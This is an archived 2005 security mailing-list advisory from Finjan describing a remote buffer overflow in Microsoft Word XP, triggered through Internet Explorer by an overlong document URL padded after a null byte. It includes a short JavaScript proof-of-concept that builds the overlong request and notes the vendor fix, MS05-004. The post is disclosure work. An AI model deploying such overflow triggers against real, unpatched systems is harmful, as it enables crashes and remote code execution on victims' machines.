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List:       ntbugtraq
Subject:    Finjan Security Advisory: Microsoft Office XP Remote Buffer Overflow Vulnerability
From:       Rafel Ivgi <rivgi () FINJAN ! COM>
Date:       2005-02-09 0:18:45
Message-ID: 002e01c50e3c$eba20e20$0101300a () noone
[Download RAW message or body]

Finjan Security Advisory
Microsoft Office XP Remote Buffer Overflow Vulnerability


Introduction

Finjan has discovered a new vulnerability in Microsoft Word
XP that would allow a hacker to launch a buffer overflow attack.
This attack could occur when a user opened a Word document using
Internet Explorer.


Technical Description

When a ".doc" file is opened inside Internet Explorer, Microsoft
Word XP "takes over" and opens that doc file. The problem appears
when sending a doc file request that contains a null byte (parser)
at the end of the doc filename (the rtf extension is also vulnerable).

For example:
http://www.myhost.com/myfile.doc is a valid request.

However This:
http://www.myhost.com/myfile.doc%00aaaaaaaaaaaaaaaaaaaaaaa...aa.doc
is an invalid request. Such a request will be sent to the server
hosting the doc file.

Most servers like IIS and Apache will truncate the characters before
the %00 while sending the filename to Internet Explorer.
At this stage, Internet Explorer will hand over the string to Microsoft
Word XP, which will now receive a long string. This string causes an
exploitable buffer overflow, allowing remote code execution.


The Code (Proof of Concept)

<Script>
var mylongstring,myjunk;
mylongstring ="";
myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbb";
for(c=1;c<5000;c++)
{
  mylongstring = mylongstring + myjunk;
}
window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring);
</script>


Vulnerability Status

Microsoft was notified on July 13, 2004.
The bug is now fixed. For further details please refer to Microsoft
security bulletin MS05-004.


Credit

Rafel Ivgi, Malicious Code Research Center (MCRC), Finjan Software Ltd.


-----------------------------------------------
This message was scanned for malicious content and viruses by Finjan Internet Vital \
Security 1Box(tm)

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infection which never existed in the first place. Suggest such notifications be \
disabled by whomever is responsible for your AV, or at least that the idea is \
                considered.
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